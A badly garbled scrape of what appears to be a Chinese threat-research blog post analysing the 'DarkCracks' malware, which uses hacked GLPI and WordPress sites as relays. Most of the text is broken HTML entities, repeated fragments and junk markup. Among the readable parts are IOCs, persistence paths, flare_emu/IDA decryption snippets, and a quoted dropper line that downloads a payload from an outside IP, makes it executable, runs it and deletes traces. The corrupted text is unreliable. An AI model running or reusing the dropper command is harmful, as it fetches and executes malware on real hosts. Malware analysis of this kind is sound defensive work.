    我们的XLab大网威胁感知系统最近捕获了一
    0检测,
高持续、高隐匿、高善善咧级设计、并&#x5229
 从我们的数据来看,这个我们命名为
    <strong>DarkCracks</strong>&#x7684;&#x6076;&#x610F;&#x768B;&#x5E8F;&#x8BBE;&#x8BA1;&#x7CBE;&#x826F;&#xFF0C;&#x80CC;&#x540E;&#x7684;&#x653B;&#x5
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    <strong>0&#x68C0;&#x6D4B;
    </strong>&#xFF0;&#x5B83;&#x4EEC;&#x5DF2;&#x5728;&#x5B89;&#x5168;&#x4EA7;&#x5546;&#x7684;&#x773C;&#x76AE;&#x5E95;&#x4E0B;
    <strong>&#x5077;&#x6478;&#x6D3B;&#x52A8;&#x8D85;&#x8FC7;&#x4E00;&#x5E74;&#x65F6;&#x95F4;</strong>&#x3002;
2024&#x5E74;6&#x6708;12&#x65E5;&#xFF0C;&#x53E6;&#x4E00;&#x4E2A;&#x4E0B;&#x8F7D;&#x811A;&#x672C;f8a495a98c43b0805f53be14db09c409&#x8FDB;&#x51
   </code>
    这一异常现象很明显的说明异野存在未&#x77E5
    %#X6PU9;%#X4EV0;%#X5PU2;%#X5E36;%#X73B0;%#X6C01;%#X5P86;%#X6D0E;%#X6D0E;%#X76BE;%#X76D0E;%#X502B;%#X7128;%#X517E;

<code>&#x56837;&#x6572C;&#x5F80C;&#x99fD;&#x6587;&#x46587;&#x4F80C;C&#xFF80C;C&#x551FB;&#x76EE;&#x6887;

</code>&#x7849;&#x65B9;&#x9762;&#x99FD;&#x6709;&#x6240;&#x53D1;&#x73B0;&#x380C;

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<#x591A;&#x4E2A;&#x88AB;&#x657FA;&#x7840;&#x8BBE;&#x65BD;</p>

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    <code>~kx5B66;&xx6821;&xx7F51;&xx7AD9;&xxFF0C;&xx516C;&xx4EA4;&xx7CFB;&xx7EDF;&xxFF0C;&xx76D1;&xx72F1;&xx8BBF;&xx5BA2;&xx7CFB;&xx7EDF;
    </code>&#x7B49;&#x3002;  &#x901A;&#x8FC7;XLab&#x6307;&#x4EE4;&#x8DDF;&#x8E2A;&#x7CFB;&#x7EDF;&#x4E2D;&#x6355;&#x83B7;&#x66F4;&#x6362;C2&#x6307;&#x4EE4;&#xFF0C;&#x65B
    PRESS站点。

<#x5728;Github&#x4E0A;&#x53D1;&#x73B0;&#x5B58;&#x50A8;&#x914D;&#x7F6E;&#x6587;&#x4EF6;&#x7684;&#x76E;soduku1&#xFF0C;&#x521B;&#x5B58;</p>
   Panel,最终掌握了"管理员模式"的运行机&#x523

    <#x7FPC;&#x4E0A;&#x6240;&#x8FF0;&#x4F0C;&#x4E00;&#x4E2A;&#x81F3;&#x5C11;&#x6D3B;&#x8DC3;&#x4E86;1&#x5E74;&#x4EE5;&#x4E0A;&#xFF0C;&#x8BBE;&#xW0RDPRESS&#x7AD9;&#x70B9;&#x5145;&#x5F53;Downloader &amp;
C2&#xFF0C;&#x4E3B;&#x8981;&#x76EE;&#x7684;&#x662F;&#x662F;&#x6536;&#x96C6;&#x88AB;&#x5165;&#x4FB5;&#x8BBE;&#x5907;&#x654F;&#x611F;&#x4FE1;&#x606F;&#xFF0C;&#x8BBE;&#x5900;&#x5584;&#x5907;&#x654F;&#x4FE1;&#x606F;&#xFF0C;&#x4FB5;&#x4FB5;&#x4FB5;&#x4FB5;&#x8BBE;&#x5907;&#x4FB1;&#x4FE1;&#x606F;&#xFF0C;&#x8BBE;&#x5900;&#x5584;&#x5584;&#x5584;&#x5547;&#x7ED7;&#x8BBE;&#x8BBE;&#x8BB1;&#x51FB;&#x8BBE;&#x8BB1;&#x51FB;&#x8BB1;&#x51FB;&#x8BB1;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51FB;&#x51F
    IT 基础设施的񷮡理和维护效率。
<mx5728;&#x6211;&#x4EEC;&#x89C2;&#x5BDF;&#x5230;&#x7684;13&#x4E2A;C2/Downloader&#x4E2D;</p>
(&#x88AB;&#x5165;&#x4FB5;&#x7684;&#x8BBE;&#x5907;)&#xFF0C;&#x6D89;&#x53CA;&#x4E0D;&#x540C;&#x56DFD;&#x58B6;&#x7684;&#x57CE;&#x5E02;&#x516C;&#x4ED
   (\approx \text{\substraction \substraction \text{\substraction \text{\substraction \text{\substraction \substraction \text{\substraction \substraction \text{\substraction \text{\substraction \text{\substraction \substraction \text{\substraction \substraction \substraction \text{\substa
    一个利用被黑GLPI,
    @MANTELO,GMANTELP,GMANTELP,GMANTELP,GETT,
WORDPRESS站嶉充当中转的高级恶意载荷&升级框&
loading="lazy"> <h1 id="%E6%97%B6%E9%97%B4%E7%BA%BF">&#x65F6;&#x95F4;&#x7EBF;</h1>
     DarkCracks
的活动时间线。需要注意的是,这仅基&#x4E8E
    的实际活动可能早于此时间线。
    <023.07.11&#xFF0C;adrhpbrn29&#x521B;&#x5EFA;&#x9879;&#x76EE;soduku1&#xFF0C;&#x7528;&#x4E8E;&#x5B58;&#x50A8;&#x5907;&#x7528;&#x914D;&#x7F6E;</li>
    <\i>2023.07.18&#xFF0C;&#x672A;&#x52A0;&#x5BC6;&#x7684;Client&#x4ECE;&#x4E2D;&#x56FD;&#x88AB;&#x4E0A;&#x4F20;&#x5230;VT&#xFF0C;&#x654F;&#x611F;&
    <11>2024.05.23&#xFF0C;Runner&#x6837;&#x672C;&#x5148;&#x540E;&#x4ECE;&#x6CE2;&#x5170;&#x3001;&#x97E9;&#x56FD;&#x3001;&#x8377;&#x5170;&#x3001;&#x
     2024.06.05,DarkCracks
```

```
Downloader首次进入视野,XLab发现45.169.87.67被黑,提供&#x4F
\\(\lambda\)1>2024.06.06&\(\delta\)K#x5B8C;\(\delta\)#x5BF9;\(\Runner\)6\(\delta\)K#x7F6E;\(\delta\)#x6587;\(\delta\)K#x6587;\(\delta\)K#x6587;\(\delta\)K#x5206;\(\delta\)K#x5206;\(\delta\)K#x5206;\(\delta\)K#x5206;\(\delta\)K#x5206;\(\delta\)K#x5206;\(\delta\)K#x6587;\(\delta\)K#x652F;\(\delta\)K#x6301;\(\delta\)K#x3002;\(\delta\)K#x90E8;\(\delta\)K#x5206;\(\delta\)K#x6784;\(\delta\)K*x6837;\(\delta\)K*x652F;\(\delta\)K*x6301;\(\delta\)K#x3002;\(\delta\)K#x90E8;\(\delta\)K#x7F6E;\(\delta\)K#x6784;\(\delta\)K*x6782C;\(\delta\)K*x652F;\(\delta\)K*x6301;\(\delta\)K*x3002;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delta\)K*X90E8;\(\delt
 <0.1>2024.06.10&#xFF0C;&#x6355;&#x83B7;&#x66F4;&#x65B0;C2&#x6307;&#x4EE4;&#xFF0C;&#x65B0;&#x7684;C2&#x4E3A;&#x88AB;&#x9ED1;&#x7684;Word
<1i>>2024.07.23&#xFF0C; &#x53E6; &#x4E00; Runner &#x6837; &#x672C; &#x5148; &#x540E; &#x4ECE; &#x4ECE; &#x5170; &#xFF0C; &#x565E5; &#x465E5; &#x467EC; &#x7F8E; &#x
loading="lazy">
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<code>|8UgL3v</code>&#xFF1B;&#x5176;&#x4E2D;&#x524D;&#x8005;&#x4E3A;Runner&#xFF0C;&#x540E;&#x8005;&#x4E3A;&#x52A0;&#x5BC6;&#x7684;&#x914D;&#x7F

{compiler},版本号为2.0;179.191.68.85中的pQ1iM9hd系列版本号&#x4E

Cpu架构的Runner为主要分析对象,以下为它的&#x57F </

运行时,它首先检查运行参数,并且最&#x591A

%#x683C;式配置文件。合法的配置文件在解密&#x540E
<code>key</code>&#xFF08;&#x89E3;&#x5BC6; Client &#x6240;&#x9700;&#x7684;&#x5BC6;&#x94A5;&#x548C; IV&#xFF09;&#x3001;
<code>emUrl</code>&#xFF08;&#x5907;&#x7528;&#x914D;&#x7F6E;&#x6587;&#x4EF6;&#x7684;&#x4E0B;&#x8F7D;&#x5730;&#x5740;&#xFF09;&#x4EE5;&#x53CA;

<code>clientUr!</code>&#xFF08;&#x52A0;&#x5BC6; Client &#x7684;&#x4E0B;&#x8F7D;&#x5730;&#x5740;&#xFF09;&#x3002;
<#x5728;&#x914D;&#x7F6E;&#x6587;&#x4EF6;&#x901A;&#x8EC7;&#x5408;&#x6CD5;&#x6027;&#x9A8C;&#x8BC1;&#x540E;&#xFF0C;Runner&#x4F1A;&#x521B;&#x5EF</p>
<code>/var/tmp/.shm</code>&#xFF0C;&#x5C06;&#x81EA;&#x8EAB;&#x79FB;&#x52A8;&#x5230;&#x8BE5;&#x76EE;&#x5F55;&#xFF0C;&#x5E76;&#x91CD;&#x547D;&#x547D;&#x547D;

64x683C; 64x5F0F; 64x7684; 64x6587; 64x4EF6; 64x540D; 64x3002; 64x63A5; 64x7740; 64x7740; 64x751F; 64x6210; 64x4E00; 64x4E2A; 64x65B0; 64x7684; 64x52A0; 64x5BC6; 64x6587; 64x6587; 64x4E76; 64x7684; 64x5BC6; 64x6587; 64x6587; 64x4E70D; 64x5B58; 64x4F0D; 64x5B58; 64x5B68; 64x5B58; 64x5B68; 64

%#X9B5/; %#X9BB5; %#X83B/; %#X93U6; %#X914U; \$#X7F0E; \$#X0587; \$\partial \text{k} \t

%#X4EV0;%#X4EZA;%#X52Z9;%#X75Z8;%#X88AB;%#X9ED1;SLP1,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy">
该如何解密字符串呢?可以直接使用flare\_emu&#x
<code>import flare\_emu def ignorefree(eh, address, argv, funcName, userData): eh.uc.reg\_write(eh.regs[&quot;rax&quot;], 0)
ciphertxt=b&apos;9MwEVEWWEXM5Ak0&apos; eh=flare\_emu.EmuHelper() eh.apiHooks[&apos;free&apos;]=ignorefree
eh.emulateRange(startAddr=0x000000000000F9D0,skipCalls=False,registers={&apos;rdi&apos;ciphertxt})
print(eh, qetFmuStripn(eh, qetFm

%#X4EU0;%#X4EZR;%#X3Z2;%#X73Z0;%#X08AB;%#X9EDI;GLTI; WORDPRESS站点充当中转的高级恶意载荷&升级框& loading="lazy"> 109 1

WORDPRESS站点充当中转的高级恶意载荷&升级框&loading="lazy"> Item Description </thead> key KEY&amp; IV v/tr> keyort Entry authHeader Auth String etd>runnerUrl Report Entry

http://179.191.68.85:82/vendor/sebastian/diff/src/Exception/j8UgL3v -O agr|curl
http://179.191.68.85:82/vendor/sebastian/diff/src/Exception/j8UgL3v -O agr; chmod +x ./wdvsh; ./wdvsh agr; sleep 3; rm ./wdvsh; rm ./agr; </code> 

<p

<img src="https://blog.xlab.qianxin.com/content/images/2024/07/smartupdate\_179.png" alt="DarkCracks, 一个利用被黑GLPI,

Client。具体来说,当 Runner

X64

150N

Client。

```
id="%E6%96%87%E4%BB%B6%E4%BC%AA%E8%A3%85%E6%8C%81%E4%B9%85%E5%8C%96">文件伪装&持久化</hd>
\text{WQRDPRESS站\text{充\text{&#x553},\text{级\text{&#x6846},\text{&#x6846};\text{&#x6846};\text{&#x6846};\text{&#x6846};\text{&#x6846};\text{&#x6846};\text{&#x6846};\text{&#x6846};\text{&#x6846};\text{其\text{其\text{&#x4E2D};}\text{&#x6846};\text{�JSON\text{嚇\text{式\text{其\text{&#x4E2D};}}\text{�JSON\text{式\text{式\text{其\text{&#x4E2D};}}\text{�}\text{内\text{安\text{为UUID\text{的\text{乶\text{名\text{,}}}\text{,}\text{内\text{安\text{为UUID\text{的\text{乶\text{名\text{,}}}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{弌}\text{&
WORDPRESS站点充当中转的高级恶意载荷&升级框&
WORDPRESSAWAYAD9; 点 充 当 中 潬 炄 高 级 恶 意 潽 敷 & 升 级 级 框 & loading="lazy">
<#X5F53; Runner & X5B8C; & X6210; & X6587; & X4EF6; & X4E76; & X4
WORDPRESS站点充啓中转的高级恶意载荷&升级框&loading="lazy"> 
 若1不满足,且当前用户组为普通用户,&#x
<code>.bash_profile</code>&#x5B9E;&#x73B0;&#x6301;&#x4E45;&#x5316;&#x3002; <img
src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_bash.png" alt="DarkCracks,
&#x4E00;&#x4E2A;&#x5229;&#x7528;&#x88AB;&#x9ED1;GLPI,</pre>
<code>/etc/init.d/rnd</code>&#x5B9E;&#x73B0;&#x6301;&#x4E45;&#x5316;&#x3002; <img
src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_initd.png" alt="DarkCracks,
&#x4E00;&#x4E2A;&#x5229;&#x7528;&#x88AB;&#x9ED1;GLPI,</pre>
WORDPRESS站点充当中转的高级恶意载荷&升级框&loading="lazy"> 
 id="%E4%B8%8B%E8%BD%BD%E5%8A%A0%E5%AF%86%E7%9A%84client">下载加密的Client</h3>
\text{WVRDPRESS站充当中转的高级恶意载荷&升级框&loading="lazy">
其中clienturl属于直接模式,只需要将其与样校式,只需要将其与样校式,只需要将其与样校式,只需要将其与样校式,只需要将其与样校式,只需要将其与样校式,只需要将其与样校式,只式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式式&#x
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```

%#x4E00;丠Ԣ產讫黑GLPI,
WORDPRESS站点񵅅Փ中级框&
loading="lazy"> <h3 id="0x02-dgaurl">0x02-dgaurl">0x02: DGAUrl</h3>

WORDPRESS站޻充当中转的高级恶意载荷&升级框&loading="lazy">
<#x6211;&#x4EEC;&#x6838;&#x5BF9;&#x4E86;2023&#x5E74;&#x81F3;&#x4ECA;dgaurl&#xFF08;&#x8BE6;&#x60C5;&#x89C1;IOC&#x4E2D;&#x7684;DGA&#x5C0F;&#x8

<13 id="%E8%A7%A3%E5%AF%86%E6%89%A7%E8%A1%8Cclient"><a href="%e8%x6267; & kx6267; & kx6267; & kx884E; Client"><a href="%e8%x6240; & kx94A5; & kx94A5; & kx94A5; & kx94A5; & kx914D; & kx7528; & kx7568; & kx6587; & kx484E; & kx758E6; & kx6587; & kx4E</a>
<code>208C7FEE42D3DB4A8E55FBFF65351E1BB8ADDBA8FCBD0F85EE1CA5033D0DF342</code>& kx3002;

x04</rd>
x04</rd>
x04</rd>
x06
x08

\(\)\)\)\)\>\)Launcher\(\)\\*#x58AB;\(\)\\*#x52A0;\(\)\\*#x52A0;\(\)\\*#x5BC6;\(\)\\*#x4F7F;\(\)\\*#x7528;\(\)\\*#x7528;\(\)\\*#x76AB;\(\)\\*#x76AB;\(\)\\*#x75AB;\(\)\\*\*x75AB;\(\)\\*#x75AB;\(\)\\*#x75AB;\(\)\\*#x75AB;\(\)\\*#x75AB;\(\)\\*\*x75AB;\

Launcher也支持和Runner,Client一样的加密算法

```
<ain_launcher&#x540C;&#x6837;&#x862F;&#x88AB;&#x914D;&#x7F6E;&#x6587;&#x4EF6;&#x9A71;&#x52A8;&#xFF0C;&#x6838;&#x5FC3;&#x914D;&#x7F6E;&#x4FDD;&#x</pre><code>/var/tmp/.shm/9d8dadaf-6c7e-4975-b26d-ec17e67493c6/code>/var/tmp/.shm/9d8dadaf-6c7e-4975-b26d-ec17e67493c6/code>/var/tmp/.shm/9d8dadaf-6c7e-4975-b26d-ec17e67493c6/code>/var/tmp/.shm/9d8dadaf-6c7e-4975-b26d-ec17e67493c6/code>/var/tmp/.shm/9d8dadaf-6c7e-4975-b26d-ec17e67493c6/code>/var/tmp/.shm/9d8dadaf-6c7e-4975-b26d-ec17e67493c6/code>/vio/code>/var/tmp/.shm/9d8dadaf-6c7e-4975-b26d-ec17e67493c6/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code>/vio/code/code/code/code/code/code/code/code/code/code/code/code/code/code/code/code/code/code/code/code/code/code/code/code/code/code/code/code/code/code/code/code</pre
 Launcher同样是被配置文件驱动,核心配置保&#x
\(\alpha\) 
 WORDPRESS站点充当中转的高级恶意载荷&升级框&
 loading="lazy"> C2
Panel由 PHP语 实 现 , 代 码 在 600行 左 右 , 功 能 比 &#x8
  <code>tem9FG5.tmp</code>&#x5BF9;&#x4E0D;&#x540C;&#x6765;&#x6E90;&#x7684;&#x8BF7;&#x6C42;&#x505A;&#x51FA;&#x56DE;&#x5E94;&#xFF0C;&#x652F;&#x6301
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 <4p>6#x5982; &#x4F55; &#x533A; &#x5206; &#x8BF7; &#x6642; &#x66765; &#x6E90; &#x5462; &#xFF1F; &#x7B54; &#x6848; &#x662F; authentication&#x5B57; &#x6BB5; &#xFF0F; &#x5B57; &#x6BB5; &#xFF0F; &#x6BB5; &#x6B
 Master;否则就是一于Bot。authentication字段的另一个 <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_condition.png" alt="DarkCracks,
 一个利用被黑GLPI,
 WORDPRESS站点充当中转的高级恶意载荷&升级框&
 loading="lazy">

</p
 \text{WYADD9;&\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\frac{\}}$\text{$\f
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</code>chrev(convert_undecode(sinfunt);
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以亵亶亳配置支持的字段以及它们的含义&#x3
 <img src="https://blog.xlab.qianxin.com/content/images/2024/09/smartupdate_pending.png" alt="DarkCracks,
&#x4E00;&#x4E2A;&#x5229;&#x7528;&#x88AB;&#x9ED1;GLPI,</pre>
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cyp-SattS3D7;6#x5BB3;6#x8005;8#x5411;8#x6211;8#x4EEC;8#x63D0;8#x4F9B;8#x7684;8#x914D;8#x7F6E;8#x6587;8#x4EF6;8#x4E2D;8#x7684;pendingChanges6#x6D8
<code>soussanart.com</code>&#xFF0C;8#x6211;8#x4EEC;8#x5411;8#x5176;8#x53D1;8#x9001;8#x67E5;8#x8BE2;8#x5BA2;8#x6237;8#x7AEF;8#x8BF7;8#x6C42;8#xF
  <ing src="https://blog.klab.qianxin.com/content/images/2024/08/smartupdate_json.png" alt="DarkCracks,
&#x4E00;&#x4E2A;&#x5229;&#x7528;&#x88AB;&#x9ED1;GLPI,
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WORDPRESS站点充当中转的高级񦁶意载荷&升级框&loading="lazy">
<#x576EE;&#x524D;ftMQPwsMnB&#x9879;&#x76EE;&#x5171;&#x6709;5&#x6B21;&#x63D0;&#x4EA4;&#x8BB0;&#x5F55;&#xFF0C;&#x867D;&#x7136;version.dll&#x768</p>
</tab
 <code>ab75b85</code>&#x6295;&#x9012;&#x7684;QuasarRAT&#x4E3A;&#x4F8B;&#xFF0C;&#x5B83;&#x7684;&#x514D;&#x7F6E;&#x6587;&#x4EF6;&#x5982;&#x4E0B;&#
 <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_ratjson.png" alt="DarkCracks,
&#x4E00;&#x4E2A;&#x5229;&#x7528;&#x88AB;&#x9ED1;GLPI,</pre>
 WORDPRESS站点充当中转的高级恶意载荷&升级框&
 loading="lazy">
目前我们还没有发现这个项目的使用场&#x6
  <a href="https://www.bandisoft.com/?
```

ref=blog.xlab.qianxin.com">bandisoft</a>&#x76F8;&#x5173;&#xFF0C;&#x56E0;&#x6B64;&#x6211;&#x4EEC;&#x63A8;&#x6D4B;&#x5176;&#x4E2D;&#x7684;&#x4E00
 <ing src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate\_bandfee.png" alt="DarkCracks,

WORDPRESS站点充啓中转的高级恶意载荷&升级框&loading="lazy">
8月26日,该项目又新增2个提交记录,增加

一个利用被黑GLPI,

id="%E6%80%BB%E7%BB%93">总结</h1>

```
DarkCracks是一个设计简洁但灵活的payload投递与啇&#x
Panel的管理模式很容易获得,了解协议的人&#
 我们建议网络管理员通过上文所述与
</code>/var/tmp/.shm<//ode>&#x76F8;&#x5173;&#x6280;&#x672F;&#x7EC6;&#x8282;&#x5224;&#x65AD;&#x611F;&#x67D3;&#x4E0E;&#x5426;&#xFF0C;&#x6B22;&#x8F
          *pQliM9hd-mips-uclibc 21732589b41506e1e7de87d7066ea43e *pQliM9hd-mipsel-uclibc 93a7cbaledbacb633021ebc38c10a79f *pQliM9hd-x64 036d6c73fe7a568160f3de8a98d0a58b *pQliM9hd-x64-musl 5340ee724893fd596852f22ecbc3e795 *pQliM9hd-x86 c6909b8b8bc55fac85c5fe650c7df42a *wk8dnj2k-armv5-uclibc 227d19736af70bef817da96668994af8 *wk8dnj2k-armv6-gnu a18957196842c78cbce2247d766712ad *wk8dnj2k-armv8-gnu
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**Table **Ta
          Dequot;=" * ((4 - len(out) % 4) % 4) return base64.urlsafe_b64decode(out) def iterateCallback(eh, address, argv, userData):

ro=ida_segment.get_segm_by_name(".rodata") if ro.start_ea <= argv[0] &lt;=ro.end_ea: buff=eh.getEmuString(argv[0]) if
len(buff)&gt;0: plain=decode(buff) print(hex(argv[0]),buff,&quot;&lt;======&gt;&quot;,plain)
ida_bytes.put_bytes(argv[0],b&apos;)x00&apos;*len(buff)) ida_bytes.put_bytes(argv[0],plain) decstr_addr=0x0000FCD0 key=bytes.fromhex(&apos;43
